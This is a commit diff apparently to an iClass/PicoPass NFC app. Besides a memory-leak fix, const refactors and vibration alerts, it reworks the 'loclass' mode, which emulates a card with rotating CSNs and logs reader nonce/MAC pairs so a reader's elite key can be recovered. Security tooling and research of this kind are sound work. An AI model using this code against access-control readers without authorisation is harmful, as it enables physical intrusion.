MX 2 лет назад
Родитель
Сommit
c7ed35df2a

+ 1 - 1
application.fam

@@ -10,7 +10,7 @@ App(
     ],
     ],
     stack_size=4 * 1024,
     stack_size=4 * 1024,
     fap_description="App to communicate with NFC tags using the PicoPass(iClass) format",
     fap_description="App to communicate with NFC tags using the PicoPass(iClass) format",
-    fap_version="1.5",
+    fap_version="1.6",
     fap_icon="125_10px.png",
     fap_icon="125_10px.png",
     fap_category="NFC",
     fap_category="NFC",
     fap_libs=["mbedtls"],
     fap_libs=["mbedtls"],

+ 5 - 1
lib/loclass/optimized_cipher.c

@@ -296,7 +296,11 @@ void loclass_opt_doBothMAC_2(
     loclass_opt_output(div_key_p, s, tmac);
     loclass_opt_output(div_key_p, s, tmac);
 }
 }
 
 
-void loclass_iclass_calc_div_key(uint8_t* csn, const uint8_t* key, uint8_t* div_key, bool elite) {
+void loclass_iclass_calc_div_key(
+    const uint8_t* csn,
+    const uint8_t* key,
+    uint8_t* div_key,
+    bool elite) {
     if(elite) {
     if(elite) {
         uint8_t keytable[128] = {0};
         uint8_t keytable[128] = {0};
         uint8_t key_index[8] = {0};
         uint8_t key_index[8] = {0};

+ 5 - 1
lib/loclass/optimized_cipher.h

@@ -109,5 +109,9 @@ void loclass_opt_doBothMAC_2(
     const uint8_t* div_key_p);
     const uint8_t* div_key_p);
 
 
 void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]);
 void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]);
-void loclass_iclass_calc_div_key(uint8_t* csn, const uint8_t* key, uint8_t* div_key, bool elite);
+void loclass_iclass_calc_div_key(
+    const uint8_t* csn,
+    const uint8_t* key,
+    uint8_t* div_key,
+    bool elite);
 #endif // OPTIMIZED_CIPHER_H
 #endif // OPTIMIZED_CIPHER_H

+ 1 - 1
lib/loclass/optimized_ikeys.c

@@ -302,7 +302,7 @@ void loclass_hash0(uint64_t c, uint8_t k[8]) {
  * @param key
  * @param key
  * @param div_key
  * @param div_key
  */
  */
-void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key) {
+void loclass_diversifyKey(const uint8_t* csn, const uint8_t* key, uint8_t* div_key) {
     mbedtls_des_context loclass_ctx_enc;
     mbedtls_des_context loclass_ctx_enc;
 
 
     // Prepare the DES key
     // Prepare the DES key

+ 1 - 1
lib/loclass/optimized_ikeys.h

@@ -56,7 +56,7 @@ void loclass_hash0(uint64_t c, uint8_t k[8]);
  * @param div_key
  * @param div_key
  */
  */
 
 
-void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key);
+void loclass_diversifyKey(const uint8_t* csn, const uint8_t* key, uint8_t* div_key);
 /**
 /**
  * @brief Permutes a key from standard NIST format to Iclass specific format
  * @brief Permutes a key from standard NIST format to Iclass specific format
  * @param key
  * @param key

+ 1 - 1
loclass_writer.c

@@ -99,4 +99,4 @@ bool loclass_writer_write_params(
     bool write_success = stream_write_string(instance->file_stream, str);
     bool write_success = stream_write_string(instance->file_stream, str);
     furi_string_free(str);
     furi_string_free(str);
     return write_success;
     return write_success;
-}
+}

+ 1 - 0
picopass_device.c

@@ -85,6 +85,7 @@ static bool picopass_device_save_file_lfrfid(PicopassDevice* dev, FuriString* fi
     briefStr = furi_string_alloc();
     briefStr = furi_string_alloc();
     protocol_dict_render_brief_data(dict, briefStr, protocol);
     protocol_dict_render_brief_data(dict, briefStr, protocol);
     FURI_LOG_D(TAG, "LFRFID Brief: %s", furi_string_get_cstr(briefStr));
     FURI_LOG_D(TAG, "LFRFID Brief: %s", furi_string_get_cstr(briefStr));
+    furi_string_free(briefStr);
 
 
     result = lfrfid_dict_file_save(dict, protocol, furi_string_get_cstr(file_path));
     result = lfrfid_dict_file_save(dict, protocol, furi_string_get_cstr(file_path));
     if(result) {
     if(result) {

+ 9 - 0
picopass_device.h

@@ -12,6 +12,13 @@
 #include <optimized_cipher.h>
 #include <optimized_cipher.h>
 #include "helpers/iclass_elite_dict.h"
 #include "helpers/iclass_elite_dict.h"
 
 
+#define LOCLASS_NUM_CSNS 9
+#ifndef LOCLASS_NUM_PER_CSN
+// Collect 2 MACs per CSN to account for keyroll modes by default
+#define LOCLASS_NUM_PER_CSN 2
+#endif
+#define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN)
+
 #define PICOPASS_DEV_NAME_MAX_LEN 22
 #define PICOPASS_DEV_NAME_MAX_LEN 22
 #define PICOPASS_READER_DATA_MAX_SIZE 64
 #define PICOPASS_READER_DATA_MAX_SIZE 64
 #define PICOPASS_MAX_APP_LIMIT 32
 #define PICOPASS_MAX_APP_LIMIT 32
@@ -70,6 +77,7 @@ typedef enum {
     PicopassEmulatorStateIdle,
     PicopassEmulatorStateIdle,
     PicopassEmulatorStateActive,
     PicopassEmulatorStateActive,
     PicopassEmulatorStateSelected,
     PicopassEmulatorStateSelected,
+    PicopassEmulatorStateStopEmulation,
 } PicopassEmulatorState;
 } PicopassEmulatorState;
 
 
 typedef struct {
 typedef struct {
@@ -103,6 +111,7 @@ typedef struct {
     uint8_t key_block_num; // in loclass mode used to store csn#
     uint8_t key_block_num; // in loclass mode used to store csn#
     bool loclass_mode;
     bool loclass_mode;
     bool loclass_got_std_key;
     bool loclass_got_std_key;
+    uint8_t loclass_mac_buffer[8 * LOCLASS_NUM_PER_CSN];
     LoclassWriter* loclass_writer;
     LoclassWriter* loclass_writer;
 } PicopassEmulatorCtx;
 } PicopassEmulatorCtx;
 
 

+ 0 - 4
picopass_i.h

@@ -31,10 +31,6 @@
 
 
 #define PICOPASS_TEXT_STORE_SIZE 128
 #define PICOPASS_TEXT_STORE_SIZE 128
 
 
-#define LOCLASS_NUM_CSNS 9
-// Collect 2 MACs per CSN to account for keyroll modes
-#define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * 2)
-
 enum PicopassCustomEvent {
 enum PicopassCustomEvent {
     // Reserve first 100 events for button types and indexes, starting from 0
     // Reserve first 100 events for button types and indexes, starting from 0
     PicopassCustomEventReserved = 100,
     PicopassCustomEventReserved = 100,

+ 69 - 31
picopass_worker.c

@@ -835,22 +835,37 @@ static inline void picopass_emu_write_blocks(
         block_count * RFAL_PICOPASS_BLOCK_LEN);
         block_count * RFAL_PICOPASS_BLOCK_LEN);
 }
 }
 
 
-static void picopass_init_cipher_state(NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) {
+static void picopass_init_cipher_state_key(
+    NfcVData* nfcv_data,
+    PicopassEmulatorCtx* ctx,
+    const uint8_t key[RFAL_PICOPASS_BLOCK_LEN]) {
     uint8_t cc[RFAL_PICOPASS_BLOCK_LEN];
     uint8_t cc[RFAL_PICOPASS_BLOCK_LEN];
+    picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1);
+
+    ctx->cipher_state = loclass_opt_doTagMAC_1(cc, key);
+}
+
+static void picopass_init_cipher_state(NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) {
     uint8_t key[RFAL_PICOPASS_BLOCK_LEN];
     uint8_t key[RFAL_PICOPASS_BLOCK_LEN];
 
 
-    picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1);
     picopass_emu_read_blocks(nfcv_data, key, ctx->key_block_num, 1);
     picopass_emu_read_blocks(nfcv_data, key, ctx->key_block_num, 1);
 
 
-    ctx->cipher_state = loclass_opt_doTagMAC_1(cc, key);
+    picopass_init_cipher_state_key(nfcv_data, ctx, key);
 }
 }
 
 
 static void
 static void
     loclass_update_csn(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) {
     loclass_update_csn(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) {
-    // collect two nonces in a row for each CSN
-    uint8_t csn_num = (ctx->key_block_num / 2) % LOCLASS_NUM_CSNS;
-    memcpy(nfc_data->uid, loclass_csns[csn_num], RFAL_PICOPASS_BLOCK_LEN);
-    picopass_emu_write_blocks(nfcv_data, loclass_csns[csn_num], PICOPASS_CSN_BLOCK_INDEX, 1);
+    // collect LOCLASS_NUM_PER_CSN nonces in a row for each CSN
+    const uint8_t* csn =
+        loclass_csns[(ctx->key_block_num / LOCLASS_NUM_PER_CSN) % LOCLASS_NUM_CSNS];
+    memcpy(nfc_data->uid, csn, RFAL_PICOPASS_BLOCK_LEN);
+    picopass_emu_write_blocks(nfcv_data, csn, PICOPASS_CSN_BLOCK_INDEX, 1);
+
+    uint8_t key[RFAL_PICOPASS_BLOCK_LEN];
+    loclass_iclass_calc_div_key(csn, picopass_iclass_key, key, false);
+    picopass_emu_write_blocks(nfcv_data, key, PICOPASS_SECURE_KD_BLOCK_INDEX, 1);
+
+    picopass_init_cipher_state_key(nfcv_data, ctx, key);
 }
 }
 
 
 static void picopass_emu_handle_packet(
 static void picopass_emu_handle_packet(
@@ -865,7 +880,7 @@ static void picopass_emu_handle_packet(
 
 
     const uint8_t block_ff[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
     const uint8_t block_ff[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
 
 
-    if(nfcv_data->frame_length < 1) {
+    if(nfcv_data->frame_length < 1 || ctx->state == PicopassEmulatorStateStopEmulation) {
         return;
         return;
     }
     }
 
 
@@ -999,6 +1014,8 @@ static void picopass_emu_handle_packet(
             return;
             return;
         }
         }
 
 
+        // loclass mode doesn't do any card side crypto, just logs the readers crypto, so no-op in this mode
+        // we can also no-op if the key block is the same, CHECK re-inits if it failed already
         if(ctx->key_block_num != key_block_num && !ctx->loclass_mode) {
         if(ctx->key_block_num != key_block_num && !ctx->loclass_mode) {
             ctx->key_block_num = key_block_num;
             ctx->key_block_num = key_block_num;
             picopass_init_cipher_state(nfcv_data, ctx);
             picopass_init_cipher_state(nfcv_data, ctx);
@@ -1020,13 +1037,13 @@ static void picopass_emu_handle_packet(
             uint8_t cc[RFAL_PICOPASS_BLOCK_LEN];
             uint8_t cc[RFAL_PICOPASS_BLOCK_LEN];
             picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1);
             picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1);
 
 
-            // Check if the nonce is from a standard key
+#ifndef PICOPASS_DEBUG_IGNORE_LOCLASS_STD_KEY
             uint8_t key[RFAL_PICOPASS_BLOCK_LEN];
             uint8_t key[RFAL_PICOPASS_BLOCK_LEN];
-            loclass_iclass_calc_div_key(nfc_data->uid, picopass_iclass_key, key, false);
-            ctx->cipher_state = loclass_opt_doTagMAC_1(cc, key);
+            // loclass mode stores the derived standard debit key in Kd to check
+            picopass_emu_read_blocks(nfcv_data, key, PICOPASS_SECURE_KD_BLOCK_INDEX, 1);
 
 
             uint8_t rmac[4];
             uint8_t rmac[4];
-            loclass_opt_doBothMAC_2(ctx->cipher_state, nfcv_data->frame + 1, rmac, response, key);
+            loclass_opt_doReaderMAC_2(ctx->cipher_state, nfcv_data->frame + 1, rmac, key);
 
 
             if(!memcmp(nfcv_data->frame + 5, rmac, 4)) {
             if(!memcmp(nfcv_data->frame + 5, rmac, 4)) {
                 // MAC from reader matches Standard Key, keyroll mode or non-elite keyed reader.
                 // MAC from reader matches Standard Key, keyroll mode or non-elite keyed reader.
@@ -1035,25 +1052,46 @@ static void picopass_emu_handle_packet(
                 FURI_LOG_W(TAG, "loclass: standard key detected during collection");
                 FURI_LOG_W(TAG, "loclass: standard key detected during collection");
                 ctx->loclass_got_std_key = true;
                 ctx->loclass_got_std_key = true;
 
 
-                ctx->state = PicopassEmulatorStateIdle;
+                // Don't reset the state as the reader may try a different key next without going through anticoll
+                // The reader is always free to redo the anticoll if it wants to anyway
+
                 return;
                 return;
             }
             }
+#endif
 
 
-            // Copy CHALLENGE (nr) and READERSIGNATURE (mac) from frame
-            uint8_t nr[4];
-            memcpy(nr, nfcv_data->frame + 1, 4);
-            uint8_t mac[4];
-            memcpy(mac, nfcv_data->frame + 5, 4);
-
-            FURI_LOG_I(TAG, "loclass: got nr/mac pair");
-            loclass_writer_write_params(
-                ctx->loclass_writer, ctx->key_block_num, nfc_data->uid, cc, nr, mac);
-
-            // Rotate to the next CSN
-            ctx->key_block_num = (ctx->key_block_num + 1) % (LOCLASS_NUM_CSNS * 2);
-            loclass_update_csn(nfc_data, nfcv_data, ctx);
+            // Save to buffer to defer flushing when we rotate CSN
+            memcpy(
+                ctx->loclass_mac_buffer + ((ctx->key_block_num % LOCLASS_NUM_PER_CSN) * 8),
+                nfcv_data->frame + 1,
+                8);
+
+            // Rotate to the next CSN/attempt
+            ctx->key_block_num++;
+
+            // CSN changed
+            if(ctx->key_block_num % LOCLASS_NUM_PER_CSN == 0) {
+                // Flush NR-MACs for this CSN to SD card
+                uint8_t cc[RFAL_PICOPASS_BLOCK_LEN];
+                picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1);
+
+                for(int i = 0; i < LOCLASS_NUM_PER_CSN; i++) {
+                    loclass_writer_write_params(
+                        ctx->loclass_writer,
+                        ctx->key_block_num + i - LOCLASS_NUM_PER_CSN,
+                        nfc_data->uid,
+                        cc,
+                        ctx->loclass_mac_buffer + (i * 8),
+                        ctx->loclass_mac_buffer + (i * 8) + 4);
+                }
 
 
-            ctx->state = PicopassEmulatorStateIdle;
+                if(ctx->key_block_num < LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN) {
+                    loclass_update_csn(nfc_data, nfcv_data, ctx);
+                    // Only reset the state when we change to a new CSN for the same reason as when we get a standard key
+                    ctx->state = PicopassEmulatorStateIdle;
+                } else {
+                    ctx->state = PicopassEmulatorStateStopEmulation;
+                }
+            }
 
 
             return;
             return;
         }
         }
@@ -1079,7 +1117,7 @@ static void picopass_emu_handle_packet(
         break;
         break;
     case RFAL_PICOPASS_CMD_UPDATE: // ADDRESS(1) DATA(8) SIGN(4)|CRC16(2)
     case RFAL_PICOPASS_CMD_UPDATE: // ADDRESS(1) DATA(8) SIGN(4)|CRC16(2)
         if((nfcv_data->frame_length != 12 && nfcv_data->frame_length != 14) ||
         if((nfcv_data->frame_length != 12 && nfcv_data->frame_length != 14) ||
-           ctx->state != PicopassEmulatorStateSelected) {
+           ctx->state != PicopassEmulatorStateSelected || ctx->loclass_mode) {
             return;
             return;
         }
         }
 
 
@@ -1248,9 +1286,6 @@ void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode)
         }
         }
 
 
         // Setup blocks for loclass attack
         // Setup blocks for loclass attack
-        emu_ctx.key_block_num = 0;
-        loclass_update_csn(&nfc_data, nfcv_data, &emu_ctx);
-
         uint8_t conf[8] = {0x12, 0xFF, 0xFF, 0xFF, 0x7F, 0x1F, 0xFF, 0x3C};
         uint8_t conf[8] = {0x12, 0xFF, 0xFF, 0xFF, 0x7F, 0x1F, 0xFF, 0x3C};
         picopass_emu_write_blocks(nfcv_data, conf, PICOPASS_CONFIG_BLOCK_INDEX, 1);
         picopass_emu_write_blocks(nfcv_data, conf, PICOPASS_CONFIG_BLOCK_INDEX, 1);
 
 
@@ -1260,6 +1295,9 @@ void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode)
         uint8_t aia[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
         uint8_t aia[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
         picopass_emu_write_blocks(nfcv_data, aia, PICOPASS_SECURE_AIA_BLOCK_INDEX, 1);
         picopass_emu_write_blocks(nfcv_data, aia, PICOPASS_SECURE_AIA_BLOCK_INDEX, 1);
 
 
+        emu_ctx.key_block_num = 0;
+        loclass_update_csn(&nfc_data, nfcv_data, &emu_ctx);
+
         loclass_writer_write_start_stop(emu_ctx.loclass_writer, true);
         loclass_writer_write_start_stop(emu_ctx.loclass_writer, true);
     } else {
     } else {
         memcpy(nfc_data.uid, blocks[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN);
         memcpy(nfc_data.uid, blocks[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN);

+ 8 - 1
scenes/picopass_scene_key_menu.c

@@ -91,9 +91,16 @@ bool picopass_scene_key_menu_on_event(void* context, SceneManagerEvent event) {
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey);
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey);
             consumed = true;
             consumed = true;
         } else if(event.event == SubmenuIndexWriteCustom) {
         } else if(event.event == SubmenuIndexWriteCustom) {
+            // If user dictionary, prepopulate with the first key
+            if(iclass_elite_dict_check_presence(IclassEliteDictTypeUser)) {
+                IclassEliteDict* dict = iclass_elite_dict_alloc(IclassEliteDictTypeUser);
+                iclass_elite_dict_get_next_key(dict, picopass->byte_input_store);
+                iclass_elite_dict_free(dict);
+            }
+
             scene_manager_set_scene_state(
             scene_manager_set_scene_state(
                 picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteCustom);
                 picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteCustom);
-            // Key and elite_kdf = true are both set in key_input scene
+            // Key and elite_kdf = true are both set in key_input scene after the value is input
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneKeyInput);
             scene_manager_next_scene(picopass->scene_manager, PicopassSceneKeyInput);
             consumed = true;
             consumed = true;
         }
         }

+ 3 - 0
scenes/picopass_scene_loclass.c

@@ -45,15 +45,18 @@ bool picopass_scene_loclass_on_event(void* context, SceneManagerEvent event) {
             uint32_t loclass_macs_collected =
             uint32_t loclass_macs_collected =
                 scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneLoclass);
                 scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneLoclass);
             loclass_macs_collected++;
             loclass_macs_collected++;
+            notification_message(picopass->notifications, &sequence_single_vibro);
             scene_manager_set_scene_state(
             scene_manager_set_scene_state(
                 picopass->scene_manager, PicopassSceneLoclass, loclass_macs_collected);
                 picopass->scene_manager, PicopassSceneLoclass, loclass_macs_collected);
             loclass_set_num_macs(picopass->loclass, loclass_macs_collected);
             loclass_set_num_macs(picopass->loclass, loclass_macs_collected);
             if(loclass_macs_collected >= LOCLASS_MACS_TO_COLLECT) {
             if(loclass_macs_collected >= LOCLASS_MACS_TO_COLLECT) {
+                notification_message(picopass->notifications, &sequence_double_vibro);
                 scene_manager_previous_scene(picopass->scene_manager);
                 scene_manager_previous_scene(picopass->scene_manager);
             }
             }
             consumed = true;
             consumed = true;
         } else if(event.event == PicopassWorkerEventLoclassGotStandardKey) {
         } else if(event.event == PicopassWorkerEventLoclassGotStandardKey) {
             loclass_set_header(picopass->loclass, "Loclass (Got Std Key)");
             loclass_set_header(picopass->loclass, "Loclass (Got Std Key)");
+            notification_message(picopass->notifications, &sequence_error);
             consumed = true;
             consumed = true;
         } else if(event.event == PicopassWorkerEventLoclassFileError) {
         } else if(event.event == PicopassWorkerEventLoclassFileError) {
             scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneLoclass, 255);
             scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneLoclass, 255);